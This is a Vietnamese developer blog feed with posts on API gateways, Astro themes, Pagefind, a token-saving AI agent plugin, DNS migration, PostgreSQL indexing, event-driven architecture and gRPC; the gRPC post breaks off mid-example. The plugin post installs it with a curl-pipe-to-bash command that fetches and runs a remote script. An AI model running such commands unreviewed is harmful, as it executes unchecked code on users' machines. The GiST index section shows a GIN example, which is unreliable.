import { ApolloServer } from '@apollo/server';

const gateway = new ApolloGateway({
  supergraphSdl: new IntrospectAndCompose({
    subgraphs: [
      { name: 'users', url: 'http://users-service:4001/graphql' },
      { name: 'orders', url: 'http://orders-service:4002/graphql' },
      { name: 'reviews', url: 'http://reviews-service:4003/graphql' },
    ],
  }),
});

const server = new ApolloServer({ gateway });
await server.listen({ port: 4000 });

Caching Trong Gateway

// Cache response trong Redis
app.get('/api/products/*', async (req, res) => {
  const cacheKey = `gateway:${req.originalUrl}`;

  const cached = await redis.get(cacheKey);
  if (cached) {
    return res.json(JSON.parse(cached));
  }

  // Forward to service
  const response = await fetch(`http://products-service:3000${req.path}`);
  const data = await response.json();

  // Cache 5 phút
  await redis.setex(cacheKey, 300, JSON.stringify(data));

  res.json(data);
});

Monitoring

Gateway là nơi lý tưởng để collect metrics:

const requestCounter = new prometheus.Counter({
  name: 'gateway_requests_total',
  help: 'Total requests',
  labelNames: ['service', 'method', 'status'],
});

const requestDuration = new prometheus.Histogram({
  name: 'gateway_request_duration_seconds',
  help: 'Request duration',
  labelNames: ['service'],
  buckets: [0.01, 0.05, 0.1, 0.5, 1, 2],
});

app.use((req, res, next) => {
  const start = Date.now();
  res.on('finish', () => {
    const service = req.path.split('/')[2] || 'unknown';
    requestCounter.inc({ service, method: req.method, status: res.statusCode });
    requestDuration.observe({ service }, (Date.now() - start) / 1000);
  });
  next();
});

Kết Luận

| Giải pháp | Khi nào dùng | |---|---| | Kong | Cần mature, nhiều plugin | | APISIX | Cần performance cao | | Custom Node.js | Cần logic phức tạp | | GraphQL Federation | GraphQL microservices | | Cloudflare API Gateway | Edge gateway |

Gateway không phải "nice to have" — nó essential cho microservices. Tập trung auth, rate limiting, routing tại gateway giúp service đơn giản hơn, tập trung vào business logic.

Tài liệu tham khảo

AntfuStyle Theme — Astro Theme Cho Developer Và Creator

Wed, 01 Jul 2026 00:00:00 GMT

Khi xây dựng blog cá nhân với Astro, việc chọn theme phù hợp quyết định cả trải nghiệm viết lẫn trải nghiệm đọc. Astro AntfuStyle Theme là một lựa chọn đáng chú ý — lấy cảm hứng từ phong cách tối giản của antfu.me, nhưng mở rộng thành một theme đầy đủ tính năng cho developer và creator.

Tổng Quan

AntfuStyle là Astro theme mã nguồn mở (MIT) bởi Stephanie Lin, chạy trên Astro 5 với zero UI framework — không React, không Vue, không Svelte. Mọi thứ đều là Astro component thuần, giúp output nhẹ và performance cao.

Tính Năng Nổi Bật

Infrastructure

Zero UI Framework — Không runtime JS nặng
SEO-Friendly — Meta tags, OG image động, sitemap
RSS Feed — Tự động sinh
Responsive Images — Tối ưu tự động
Subpath Deployment — Hỗ trợ deploy ở subpath

Content

Markdown & MDX — Cả hai định dạng
Math Equations — KaTeX render
Callouts — GFM alerts (tip, warning, danger)
Code Highlighting — Shiki với annotations
Remark Directives — Custom directive có sẵn

UX

Dark Mode — Toggle sáng/tối
View Transitions — Mượt mà khi chuyển trang
Search — Tích hợp sẵn
TOC — Mục lục trên mọi thiết bị
Tag Filtering — Lọc bài viết theo tag
Image Zoom — Click phóng to ảnh
Giscus Comments — Bình luận qua GitHub Discussions
Loading Progress — Thanh tiến trình khi load trang

Tính Năng Đặc Biệt

Animated Background: Theme có 4 hiệu ứng nền động — plum, rose, dot, particle — tuỳ chỉnh qua config.

GitHub Integration: Có thể showcase GitHub releases và pull requests trực tiếp trên blog.

Gallery: Tính năng tạo thư viện ảnh cá nhân.

Short Notes: Viết ghi chú nhanh, không cần bài viết đầy đủ.

Cài Đặt

Deploy một click qua Netlify hoặc Vercel:

Hoặc clone repo:

git clone https://github.com/lin-stephanie/astro-antfustyle-theme
cd astro-antfustyle-theme
pnpm install
pnpm dev

So Sánh Với astro-pure

Blog này dùng astro-pure nên có vài điểm so sánh:

| Tiêu chí | AntfuStyle | astro-pure (blog này) | |---|---|---| | UI Framework | Zero | Zero | | Animated BG | 4 hiệu ứng | Không | | Gallery | Có | Không | | GitHub Releases/PR | Có | Không | | Short Notes | Có | Không | | Search | Pagefind | Pagefind | | Comments | Giscus | Waline | | Deploy | Vercel/Netlify | Vercel/Cloudflare |

AntfuStyle phù hợp nếu bạn muốn blog cá nhân với nhiều tính năng creative — gallery, notes, GitHub showcase — trong khi astro-pure thiên về blog thuần với cấu trúc đơn giản.

Cấu Trúc Thư Mục

src/
├── components/    # UI components
├── content/       # Blog posts, pages, gallery
├── layouts/       # Page layouts
├── pages/         # Route pages
├── plugins/       # Astro plugins
├── styles/        # Global styles
└── utils/         # Helper functions

Tự Document

Điểm thú vị: live demo của theme tự nó là tài liệu hướng dẫn. Mỗi tính năng đều có bài viết chi tiết — từ cài đặt, cấu trúc, config cho đến hướng dẫn viết content.

Kết Luận

AntfuStyle là theme Astro 5 giàu tính năng cho ai muốn blog cá nhân với phong cách tối giản nhưng không thiếu công cụ. Zero JS framework, đầy đủ SEO, search, comments, gallery, và animated background — tất cả trong một gói mã nguồn mở.

Tài liệu tham khảo

Tìm Kiếm Tĩnh Cho Static Site Với Astro + Pagefind

Wed, 01 Jul 2026 00:00:00 GMT

Static site có nhiều ưu điểm — nhanh, an toàn, rẻ — nhưng thiếu một thứ quan trọng: tìm kiếm. Không có server đồng nghĩa không có database để query. Pagefind giải quyết vấn đề này bằng cách index toàn bộ nội dung ngay tại build time, tạo ra một search index tĩnh hoạt động hoàn toàn trên trình duyệt.

Pagefind Là Gì?

Pagefind là công cụ tìm kiếm tĩnh, zero-config, chạy sau khi build. Nó quét thư mục output HTML, phân tích nội dung, và sinh ra search index dưới dạng file tĩnh. Kết quả: người dùng có thể tìm kiếm toàn bộ site mà không cần server, database, hay API bên thứ ba.

Đặc điểm chính:

Tự động — không cần cấu hình, tự động phát hiện nội dung
Không server — index là file tĩnh, search chạy hoàn toàn trên client
UI tích hợp — component searchbox sẵn dùng
Đa ngôn ngữ — hỗ trợ segmentation cho nhiều ngôn ngữ
Phân trang, filter, sorting có sẵn

astro-pagefind — Astro Integration

astro-pagefind là integration chính thức cho Astro, giúp tích hợp Pagefind vào build pipeline chỉ với vài dòng config:

npm i astro-pagefind

import { defineConfig } from 'astro/config'
import pagefind from 'astro-pagefind'

export default defineConfig({
  integrations: [pagefind()],
})

Sau mỗi lần astro build, Pagefind tự động index toàn bộ output HTML và sinh search index tại _pagefind/.

Hai Cách Dùng UI

1. Component Searchbox (classic)

---
import Search from 'astro-pagefind/components/Search.astro'
---

<Search
  instance="search"
  className="pagefind-ui"
  searchboxOptions={{ placeholder: 'Tìm kiếm...' }}
/>

2. Pagefind UI Component (khuyên dùng từ v1.5.0)

---
import PagefindConfig from 'astro-pagefind/components/PagefindConfig.astro'
---

<PagefindConfig />
<pagefind-searchbox></pagefind-searchbox>

Cách này dùng Web Component của Pagefind, dễ custom hơn và không cần bảo trì UI riêng.

Cách Blog Này Dùng Pagefind

Blog này dùng astro-pure theme, tích hợp Pagefind sẵn qua config:

// src/site.config.ts
prerender: true,
integ: {
  pagefind: true,
}

Component search ở /search dùng Pagefind UI với custom CSS variables để match theme màu của blog:

--pagefind-ui-primary: hsl(var(--primary));
--pagefind-ui-text: hsl(var(--foreground));
--pagefind-ui-background: hsl(var(--muted));

Tags trên bài viết cũng được đánh dấu để Pagefind filter:

data-pagefind-filter='tag'

So Sánh Với Giải Pháp Khác

| Tiêu chí | Pagefind | Algolia / Meilisearch | Tự xây backend | |---|---|---|---| | Server | Không | Có (3rd party) | Có (tự host) | | Chi phí | 0 | Từ $0.50/1k ops | Server + db | | Cài đặt | 1 dòng npm | API key + widget | Xây API | | Tốc độ index | Build time | Runtime | Tuỳ | | Tìm kiếm | Client-side | Server-side | Server-side | | Offline | Có | Không | Không |

Hoạt Động Dưới Hood

Khi chạy astro build, quy trình diễn ra như sau:

Astro build toàn bộ site ra HTML tĩnh
Pagefind quét thư mục output
Phân tích nội dung từng trang (title, headings, paragraph, meta)
Tách từ, loại bỏ stop words
Xây dựng inverted index
Ghi index ra file JSON tĩnh trong _pagefind/

Khi người dùng gõ từ khoá:

Trình duyệt tải index JSON (~100-500KB tuỳ dung lượng site)
Pagefind thực hiện search hoàn toàn trên client
Hiển thị kết quả với highlight matching text
Tất cả diễn ra trong milliseconds — không network request

Ưu Nhược Điểm

Ưu:

Dễ tích hợp — thêm 1 dòng config là xong
Không chi phí vận hành — không server, không API key
Tốc độ nhanh — index client-side, không latency network
Riêng tư — không gửi dữ liệu search ra ngoài
Hỗ trợ view transitions — giữ search state khi chuyển trang

Nhược:

Index phải tải về trình duyệt — site lớn có thể nặng
Không real-time — muốn cập nhật nội dung phải build lại
Tìm kiếm fuzzy cơ bản — không mạnh bằng Elasticsearch
Không phân quyền — index public, mọi người đều search được

Kết Luận

Nếu bạn xây static site với Astro và cần tính năng tìm kiếm, Pagefind là giải pháp tối ưu. Không server, không chi phí, cài đặt trong 5 phút — phù hợp cho blog, tài liệu, knowledge base.

Blog này là một ví dụ: trang search hoạt động hoàn toàn không cần backend, mọi từ khoá được xử lý ngay trên trình duyệt của bạn.

Tài liệu tham khảo

Caveman — Khi AI Coding Agent Nói Ít Hơn, Làm Nhiều Hơn

Wed, 01 Jul 2026 00:00:00 GMT

Trong thời đại dùng AI coding assistant như Claude Code, Codex, Cursor, một vấn đề ngày càng rõ: AI nói quá nhiều.

Một câu trả lời kỹ thuật đáng lẽ chỉ cần:

Bug: object tạo mới mỗi render.
Fix: dùng useMemo.

nhưng AI thường trả về:

Great question! The reason this happens is because React's rendering system...

Rất nhiều chữ, nhiều token, nhưng thông tin không tăng tương ứng.

Caveman ra đời để giải quyết vấn đề này.

Caveman Là Gì?

Caveman là skill/plugin cho AI coding agent. Nó không phải model mới, không thay đổi khả năng suy luận — nó chỉ thay đổi cách AI giao tiếp:

Bỏ câu mở đầu thừa
Bỏ giải thích lặp lại
Dùng câu ngắn
Giữ thông tin kỹ thuật quan trọng

Ví Dụ

Bình thường

Great question! React components can re-render for several reasons.
One common reason is that when you create a new object inline,
React sees it as a different reference...

Caveman style

New object reference every render.
Inline object prop = new reference = re-render.
Use useMemo.

Cùng ý nghĩa, ít hơn 70% token.

Vì Sao Giảm Token Quan Trọng?

Một session AI coding agent có thể gồm nhiều lượt:

User hỏi → AI trả lời → Tool call → Đọc file → AI trả lời → Fix code → AI trả lời

Nếu mỗi response 1000 token × 50 lượt = 50,000 token. Giảm còn 300 token × 50 lượt = 15,000 token.

Context dùng được lâu hơn, ít bị giới hạn context window hơn.

Cài Đặt

curl -fsSL https://raw.githubusercontent.com/JuliusBrussee/caveman/main/install.sh | bash

Yêu cầu Node.js ≥ 18. Sau cài, dùng lệnh:

/caveman

để bật chế độ Caveman.

Các Mode

| Mode | Mức nén | |---|---| | /caveman lite | Nhẹ, vẫn dễ đọc | | /caveman full | Ngắn hơn | | /caveman ultra | Cực kỳ cô đọng |

Ngoài Trả Lời Ngắn

Commit message:

fix auth session handling

Review code:

L42 🔴 null possible. Add guard.

Compress memory/context: caveman-compress rút gọn CLAUDE.md, project notes — agent start với context nhỏ hơn.

So Sánh

| | Bình thường | Caveman | |---|---|---| | Độ dài | Dài | Ngắn | | Token | Nhiều | Ít | | Giải thích | Nhiều | Tối giản | | Coding quality | Tốt | Tốt | | Đọc nhanh | Trung bình | Cao |

Kết Luận

Caveman không làm AI thông minh hơn — nó làm AI ít nói hơn. Trong workflow coding với AI agent, thứ đắt giá không chỉ là suy luận mà còn là context window, token cost, và tốc độ đọc.

Caveman biến AI từ "giải thích dài" thành "nói chuyện ngắn gọn". Ít chữ hơn, vẫn làm được việc.

Tài liệu tham khảo

Hướng Dẫn Đổi Nameserver Từ ZoneDNS Sang Cloudflare

Wed, 01 Jul 2026 00:00:00 GMT

Khi triển khai website lên Cloudflare Pages hoặc Workers, bạn cần domain hoạt động với HTTPS. ZoneDNS có giới hạn — URL Redirect chưa hỗ trợ HTTPS. Giải pháp: chuyển nameserver từ ZoneDNS sang Cloudflare.

Nameserver Là Gì?

Mỗi domain cần DNS server quản lý các bản ghi — domain trỏ tới server nào, website chạy ở đâu, email dùng ở đâu. Các record: A, CNAME, MX, TXT.

Hiện tại domain dùng DNS của ZoneDNS. Sau khi đổi nameserver, Cloudflare sẽ quản lý DNS.

Vì Sao Chuyển Sang Cloudflare?

HTTPS miễn phí tự động
SSL certificate tự cấp
CDN tăng tốc website
Bảo vệ DDoS
Quản lý DNS mạnh hơn
Hỗ trợ tốt Cloudflare Pages

Các Bước

Bước 1: Vào ZoneDNS

Đăng nhập trang quản trị ZoneDNS, chọn domain cần thay đổi.

Bước 2: Đổi Nameserver

Tìm mục Nameserver hoặc DNS Server. Cloudflare cung cấp 2 nameserver dạng xxx.ns.cloudflare.com và yyy.ns.cloudflare.com.

| Mục | Giá trị | |---|---| | DN1 | xxx.ns.cloudflare.com | | DN2 | yyy.ns.cloudflare.com | | DN3 | Bỏ trống | | DN4 | Bỏ trống |

Sau Khi Đổi

Cloudflare bắt đầu quản lý domain. Thời gian cập nhật: vài phút đến 24-48 giờ. Website có thể chưa ổn định ngay.

Email Có Bị Ảnh Hưởng?

Có thể. Khi chuyển DNS, cần copy MX record, TXT record, SPF, DKIM, DMARC sang Cloudflare để email không bị gián đoạn.

Sau Khi Chuyển Xong

Vào Cloudflare → DNS → Records — thêm CNAME trỏ về Cloudflare Pages:

Type:   CNAME
Name:   @
Target: your-project.pages.dev

Sau đó vào Cloudflare Pages → Custom domains → Add domain để kết nối.

Kết Luận

Đổi nameserver từ ZoneDNS sang Cloudflare giúp website chạy HTTPS ổn định, kết nối Cloudflare Pages, SSL tự động, DNS dễ quản lý. Chỉ cần thay 2 nameserver là xong.

Tài liệu tham khảo

Database Indexing — Tối Ưu Truy Vấn Trong PostgreSQL

Wed, 01 Jul 2026 00:00:00 GMT

Index là cách nhanh nhất để tăng tốc database — nếu dùng đúng. Dùng sai còn tệ hơn không dùng.

Index Là Gì?

Giống như mục lục sách. Không có index, database phải scan toàn bộ bảng (sequential scan). Có index, nó nhảy thẳng đến dòng cần tìm.

-- Không index → Sequential scan
EXPLAIN ANALYZE SELECT * FROM users WHERE email = 'alice@example.com';
-- Seq Scan on users (cost=0.00..435.00 rows=1 width=36)

-- Có index → Index scan
CREATE INDEX idx_users_email ON users(email);
EXPLAIN ANALYZE SELECT * FROM users WHERE email = 'alice@example.com';
-- Index Scan using idx_users_email (cost=0.28..8.29 rows=1 width=36)

Các Loại Index

B-tree (Mặc Định)

Tốt cho: =, >, <, >=, <=, BETWEEN, LIKE 'abc%'

CREATE INDEX idx_users_created ON users(created_at);
-- WHERE created_at > '2024-01-01' → dùng index
-- WHERE name LIKE 'Alice%' → dùng index
-- WHERE name LIKE '%Alice' → KHÔNG dùng index

Hash

Chỉ tốt cho =. Ít dùng vì B-tree đã làm tốt hơn hầu hết trường hợp.

CREATE INDEX idx_users_email_hash ON users USING hash(email);
-- Chỉ: WHERE email = 'alice@example.com'

GiST (Generalized Search Tree)

Cho full-text search, geometry, range types.

-- Full-text search
CREATE INDEX idx_articles_content ON articles USING gin(to_tsvector('english', content));
-- WHERE to_tsvector('english', content) @@ to_tsquery('database & indexing')

GIN (Generalized Inverted Index)

Cho JSONB, array, full-text search.

-- JSONB
CREATE INDEX idx_users_metadata ON users USING gin(metadata jsonb_path_ops);
-- WHERE metadata @> '{"role": "admin"}'

-- Array
CREATE INDEX idx_articles_tags ON articles USING gin(tags);
-- WHERE tags && array['database']

Composite Index — Nhiều Cột

CREATE INDEX idx_users_org_role ON users(organization_id, role);

Thứ tự cột quan trọng:

WHERE org_id = 1 AND role = 'admin' → dùng index
WHERE role = 'admin' → KHÔNG dùng index (role là cột thứ 2)
WHERE org_id = 1 → dùng index (org_id là cột đầu)

Rule: Cột có cardinality cao (nhiều giá trị unique) để trước.

Partial Index — Index Có Điều Kiện

-- Chỉ index user active — nhỏ hơn, nhanh hơn
CREATE INDEX idx_users_active ON users(email) WHERE status = 'active';

-- Tìm kiếm chỉ trong active users
SELECT * FROM users WHERE status = 'active' AND email = 'alice@example.com';
-- → dùng index nhỏ, không cần scan 1 triệu inactive users

Covering Index — Include Cột

-- Nếu query chỉ cần id và email, index "cover" luôn query
CREATE INDEX idx_users_email_cover ON users(email) INCLUDE (id, name);

-- Query này chỉ đọc index, không cần động vào table:
SELECT id, name FROM users WHERE email = 'alice@example.com';
-- → Index Only Scan

EXPLAIN — Đọc Query Plan

EXPLAIN (ANALYZE, BUFFERS, FORMAT JSON) SELECT * FROM users WHERE email = 'alice';

Các thông số quan trọng:

cost — đơn vị ước lượng (không phải ms). cost=0.00..435.00: 0.00 là cost để lấy dòng đầu, 435.00 là total
rows — số dòng ước lượng
width — kích thước mỗi dòng (byte)
actual time — thời gian thực tế (ms) — chỉ có với ANALYZE
Buffers: shared hit — số page đọc từ cache — càng nhiều càng tốt

Dấu Hiệu Cần Index

Trong EXPLAIN, nếu thấy:

Seq Scan on users (cost=0.00..435.00 rows=100000) — full table scan
Sort Method: external merge Disk: 123kB — sort tràn disk
actual time=0.05..435.00 — chênh lệch lớn giữa cost và actual

Khi Nào Index Có Hại?

Bảng nhỏ (< 1000 rows) — sequential scan nhanh hơn
Insert/Update nhiều — mỗi index làm chậm write
Nhiều index thừa — (a, b) + (a) → (a) là thừa

-- Tìm index trùng
SELECT schemaname, tablename, indexname, indexdef
FROM pg_indexes
WHERE tablename = 'users'
ORDER BY indexname;

Index Maintenance

-- Xem kích thước index
SELECT
    indexname,
    pg_size_pretty(pg_relation_size(indexname::regclass)) AS size
FROM pg_indexes
WHERE tablename = 'users';

-- Rebuild index (khi bloat nhiều)
REINDEX INDEX idx_users_email;
REINDEX TABLE users;   -- Rebuild tất cả index trong table

Checklist

[ ] Index trên cột trong WHERE, JOIN, ORDER BY
[ ] Composite index với column cardinality cao ở đầu
[ ] Partial index cho filtered queries
[ ] Covering index cho frequent queries
[ ] Loại bỏ index trùng
[ ] REINDEX định kỳ cho bảng hay update
[ ] EXPLAIN ANALYZE trước khi thêm index

Kết Luận

Index là công cụ mạnh — biết cách dùng là siêu năng lực. Luôn EXPLAIN ANALYZE trước khi thêm index. Đo lường, thêm, đo lại. Một index đúng có thể tăng tốc query từ phút xuống mili giây.

Tài liệu tham khảo

Dembrandt — Tự Động Lấy Design System Từ Website

Wed, 01 Jul 2026 00:00:00 GMT

Trong phát triển frontend, có vấn đề thường gặp: khách hàng không có file Figma, website cũ không có tài liệu màu sắc hay font, developer phải mở DevTools inspect từng component. Dembrandt tự động phân tích website đang chạy và tạo ra Design System dưới dạng tokens.

Input:  https://example.com
Output: colors, typography, spacing, components → JSON / DESIGN.md / DTCG

Dembrandt Giải Quyết Vấn Đề Gì?

Thông thường khi clone hoặc maintain website, developer phải: mở DevTools → inspect HTML → tìm CSS → copy màu → kiểm tra font → đo khoảng cách → viết token. Mất vài giờ.

Dembrandt tự động hoá: Browser automation → Computed CSS analysis → Design Tokens → JSON.

Lấy Được Những Gì?

Color tokens:

{
  "primary": "#0ea5e9",
  "text": "#111827",
  "background": "#ffffff"
}

Bao gồm brand, button, text, gradient, CSS variables.

Typography:

{
  "heading": { "size": "48px", "weight": 700 },
  "body": { "size": "16px", "weight": 400 }
}

Font family, size, weight, heading scale.

Spacing system:

{
  "spacing": ["4px", "8px", "16px", "32px", "64px"]
}

Component styles: Button radius, padding, hover — card, input, link, surface.

Responsive breakpoints: { "sm": "640px", "md": "768px", "lg": "1024px" }

Cài Đặt

npm install -g dembrandt

Hoặc dùng trực tiếp:

npx dembrandt example.com

Sử Dụng

# Extract design tokens
dembrandt https://vercel.com

# Export JSON
dembrandt example.com --save-output

# Export DESIGN.md (for AI agents)
dembrandt example.com --design-md

Output:

✓ Colors extracted
#000000 #ffffff #0070f3
✓ Typography - Inter - 48px heading - 16px body
✓ Spacing - 4px 8px 16px 32px

Dùng Với AI Agent

Hỗ trợ MCP — Claude Code, Cursor, Windsurf:

claude mcp add --transport stdio dembrandt -- npx -y dembrandt-mcp

Sau đó AI agent tự gọi Dembrandt: "Extract design tokens from my website".

Workflow Thực Tế

Làm lại website khách hàng:

Website cũ → Dembrandt → design-system.json → Tailwind config → Website mới

Kết hợp Tailwind CSS:

export default {
  theme: { extend: { colors: { primary: "#2563eb" } } }
}

Migration: Bootstrap → Dembrandt → Extract tokens → Tailwind + React.

Audit nội bộ: Kiểm tra màu, spacing, font có đồng nhất giữa các sản phẩm.

Design Token Là Gì?

Design token là lưu giá trị thiết kế thành biến dùng chung:

:root { --color-primary: #2563eb; }
.button { background: var(--color-primary); }

Lợi ích: đổi màu toàn bộ app dễ dàng, đồng bộ designer/developer, tạo design system.

Dembrandt vs Figma

Figma: Design → Code. Dembrandt: Website thật → Design System. Hữu ích khi không có file Figma, website đã deploy, cần reverse engineer UI.

Hạn Chế

Canvas/WebGL không phân tích được
Dynamic content có thể thiếu
Dark mode cần bật riêng
Website nhiều JS cần chờ load

Kết Luận

Dembrandt biến website đang chạy thành Design System + Design Tokens + Documentation + AI Context. Thay vì inspect CSS hàng giờ, chỉ cần:

dembrandt yourwebsite.com

Phù hợp khi làm React, Next.js, Tailwind CSS, Design System, AI coding workflow.

Tài liệu tham khảo

Event-Driven Architecture — Khi Request-Response Không Đủ

Wed, 01 Jul 2026 00:00:00 GMT

Hầu hết developer bắt đầu với request-response: client gửi request, server xử lý, trả response. Pattern này đơn giản và hiệu quả — nhưng có giới hạn. Khi hệ thống cần phản ứng với sự kiện theo thời gian thực, kết nối nhiều service mà không hard-code dependency, hoặc xử lý hàng triệu sự kiện đồng thời — Event-Driven Architecture (EDA) là câu trả lời.

EDA Là Gì?

Event-Driven Architecture là kiến trúc nơi các component giao tiếp với nhau thông qua events (sự kiện), không gọi trực tiếp.

Request-Response:          Event-Driven:
Service A → Service B      Service A → [Event Bus] → Service B
                            Service A → [Event Bus] → Service C

Khi một việc xảy ra (order.created, user.registered, payment.failed), service phát ra event. Các service khác lắng nghe và phản ứng — mà không cần biết ai đang lắng nghe.

Ba Thành Phần Chính

1. Event

Event là thông báo rằng một việc đã xảy ra. Dạng phổ biến: JSON với event type, timestamp, payload, metadata.

{
  "eventType": "order.created",
  "timestamp": "2026-07-01T10:00:00Z",
  "id": "evt_123",
  "data": {
    "orderId": "ord_456",
    "userId": "usr_789",
    "total": 299000,
    "items": ["prod_001", "prod_002"]
  },
  "metadata": {
    "version": 1,
    "source": "order-service"
  }
}

2. Event Producer

Service phát ra event khi có việc xảy ra. Producer không cần biết ai sẽ xử lý event đó.

3. Event Consumer

Service lắng nghe event và phản ứng. Consumer không cần biết ai phát ra event.

Ba Pattern Chính

1. Event Notification

Pattern đơn giản nhất. Service A gửi event thông báo cho Service B.

order-service ──→ order.created ──→ email-service (gửi email xác nhận)
                                  ──→ inventory-service (cập nhật tồn kho)
                                  ──→ analytics-service (ghi log)

Mỗi service xử lý độc lập. Nếu email-service chết, order không bị ảnh hưởng.

2. Event-Carried State Transfer

Event chứa đủ dữ liệu để consumer xử lý — không cần query lại producer.

{
  "eventType": "user.updated",
  "data": {
    "userId": "usr_789",
    "name": "Nguyen Van A",
    "email": "a@example.com"
  }
}

Consumer lưu vào local database, không cần gọi user-service mỗi lần. Đánh đổi: duplicate data, cần sync.

3. Event Sourcing

Không lưu trạng thái hiện tại — chỉ lưu chuỗi sự kiện.

[order.created] → [item.added] → [payment.received] → [order.shipped]
                                                    ↓
                                            Tính toán trạng thái từ events
                                            currentState = replay(events)

Lợi ích: audit trail đầy đủ, time travel, debug dễ. Nhược: complex, cần snapshot, learning curve cao.

Message Broker

Event bus trong EDA thường dùng message broker:

| Broker | Ngôn ngữ | Use case chính | |---|---|---| | Kafka | Scala/Java | Event streaming, log, throughput siêu cao | | RabbitMQ | Erlang | Message queue, routing linh hoạt | | NATS | Go | Siêu nhẹ, cloud native, real-time | | Redis Pub/Sub | C | Đơn giản, trong memory | | AWS SQS/SNS | Managed | Không cần quản lý broker |

Kafka — Thống Trị Event Streaming

Kafka là lựa chọn phổ biến nhất cho EDA nhờ:

Throughput: Hàng triệu msg/s
Persistent: Lưu trên disk, replay được
Partitioning: Scale ngang
Exactly-once semantics: Không mất message, không trùng
Ecosystem: Kafka Connect, Kafka Streams, Schema Registry

# Kafka CLI
kafka-topics --create --topic orders --partitions 3 --replication-factor 2
kafka-console-producer --topic orders --value-serializer json
kafka-console-consumer --topic orders --from-beginning

from kafka import KafkaProducer, KafkaConsumer

# Producer
producer = KafkaProducer(
    bootstrap_servers='localhost:9092',
    value_serializer=lambda v: json.dumps(v).encode()
)

producer.send('orders', {
    'eventType': 'order.created',
    'orderId': 'ord_456',
    'userId': 'usr_789'
})

# Consumer
consumer = KafkaConsumer(
    'orders',
    bootstrap_servers='localhost:9092',
    group_id='email-service',
    value_deserializer=lambda v: json.loads(v.decode())
)

for msg in consumer:
    event = msg.value
    if event['eventType'] == 'order.created':
        send_email(event['userId'])

Saga Pattern Trong Microservices

EDA giải quyết vấn đề distributed transaction trong microservices qua Saga — chuỗi các local transaction, mỗi bước phát event cho bước tiếp theo.

order-service ──→ order.created
                      ↓
payment-service ──→ payment.received
                      ↓
inventory-service ──→ inventory.reserved
                      ↓
shipping-service ──→ order.shipped

Nếu một bước fail: phát event compensating để rollback các bước trước.

payment.failed → inventory.reserve.cancelled → order.cancelled

Không cần distributed transaction (XA, 2PC) — mỗi service tự quản lý transaction của mình.

EDA vs Request-Response

| Tiêu chí | Request-Response | Event-Driven | |---|---|---| | Coupling | Tight (biết địa chỉ service) | Loose (chỉ biết event type) | | Scalability | Theo request | Theo throughput | | Failure isolation | Một service chết ảnh hưởng chain | Event buffer, retry | | Real-time | WebSocket polling | Native (kafka consumer) | | Debug | Dễ (trace request) | Khó (event chain dài) | | Complexity | Thấp | Cao | | Consistency | Strong (transaction) | Eventual |

Anti-Patterns

1. Schema không tương thích

Service A thêm field vào event → Service B crash.

Giải pháp: Schema Registry (Avro, Protobuf), backward/forward compatibility.

2. Event quá nhỏ hoặc quá to

Quá nhỏ: hàng ngàn event cho một use case, network overhead. Quá to: chậm, tốn băng thông.

Giải pháp: thiết kế event size vừa phải, ưu tiên Event-Carried State Transfer.

3. Debug mù mịt

Event chạy qua 5 service, ai fail?

Giải pháp: correlation ID xuyên suốt, tracing (OpenTelemetry), event log.

Khi Nào Dùng EDA?

Nên dùng:

Hệ thống microservices cần loose coupling
Xử lý real-time (notification, feed, analytics)
Workflow nhiều bước (order processing, onboarding)
Cần scale ngang theo throughput
Audit trail cho tất cả thay đổi

Không nên dùng:

CRUD đơn giản (dùng REST)
Cần strong consistency ngay lập tức
Đội nhóm nhỏ, chưa đủ kinh nghiệm vận hành broker

Kết Luận

Event-Driven Architecture là bước tiến tự nhiên khi hệ thống lớn hơn và request-response không còn đáp ứng được. Nó cho phép loose coupling, scale ngang, real-time processing, và failure isolation — nhưng kèm độ phức tạp cao hơn.

Bắt đầu với Kafka + một event nhỏ (order.created), dùng Saga cho distributed transaction, thêm Schema Registry khi event nhiều loại, và luôn gắn correlation ID để debug.

Đừng EDA hoá toàn bộ hệ thống ngay từ đầu. Biến một request-response endpoint thành event-driven trước, đo lường, rồi mở rộng.

Tài liệu tham khảo

gRPC — REST Và GraphQL Chưa Đủ Cho Microservices

Wed, 01 Jul 2026 00:00:00 GMT

REST thống trị API trong một thập kỷ. GraphQL đến và giải quyết over-fetching. Nhưng cả hai đều sinh ra với JSON và HTTP/1.1 — công nghệ của 20 năm trước. Khi bạn cần giao tiếp giữa các microservices với tốc độ cao, low latency, streaming — gRPC là lựa chọn tối ưu.

gRPC Là Gì?

gRPC là framework RPC (Remote Procedure Call) mã nguồn mở của Google. Thay vì gọi HTTP endpoint và nhận JSON, bạn gọi function như local — dữ liệu được serialize bằng Protocol Buffers và truyền qua HTTP/2.

// Định nghĩa service trong .proto file
service UserService {
  rpc GetUser (GetUserRequest) returns (User);
  rpc ListUsers (ListUsersRequest) returns (stream User);
}

message GetUserRequest {
  string id = 1;
}

message User {
  string id = 1;
  string name = 2;
  string email = 3;
}

Sau đó code gen ra client/server code tự động:

// Server
func (s *server) GetUser(ctx context.Context, req *pb.GetUserRequest) (*pb.User, error) {
    user, err := s.db.FindUser(req.Id)
    if err != nil {
        return nil, err
    }
    return &pb.User{Id: user.ID, Name: user.Name, Email: user.Email}, nil
}

// Client — gọi như function local
user, err := client.GetUser(ctx, &pb.GetUserRequest{Id: "123"})
fmt.Println(user.Name)

Protocol Buffers

Thay vì JSON (text, ~200-500 bytes cho object nhỏ), Protobuf là binary format:

Nhỏ hơn: 10x nhỏ hơn JSON
Nhanh hơn: Encode/decode nhanh hơn JSON ~10-100x
Typed: Schema bắt buộc, code gen tự động
Backward compatible: Thêm field mới không break client cũ

syntax = "proto3";

message Product {
  string id = 1;
  string name = 2;
  double price = 3;
  repeated string tags = 4;  // Array
  bool available = 5;
  oneof source {              // Union
    string internal_id = 6;
    string external_url = 7;
  }
}

HTTP/2 Lợi Thế

gRPC dùng HTTP/2 (không phải HTTP/1.1 như REST truyền thống):

Multiplexing: Nhiều request song song trên một connection — không cần connection pool
Header compression: HPACK — header chỉ vài bytes sau lần đầu
Server push: Server gửi dữ liệu trước khi client request
Streaming: Một connection có thể gửi/nhận nhiều message liên tục

Bốn Kiểu API

Unary RPC (giống REST)

rpc GetUser(GetUserRequest) returns (User);
// Request → Response

Server Streaming

rpc ListUsers(ListUsersRequest) returns (stream User);
// Request → nhiều Response (real-time feed)

Client Streaming

rpc UploadFile(stream FileChunk) returns (UploadResponse);
// Nhiều Request → một Response

Bidirectional Streaming

rpc Chat(stream ChatMessage) returns (stream ChatMessage);
// Nhiều Request ↔ nhiều Response (WebSocket-like)

Bidirectional streaming là killer feature — chat, real-time data, gaming đều dùng pattern này.

Code Demo: User Service

Proto

syntax = "proto3";
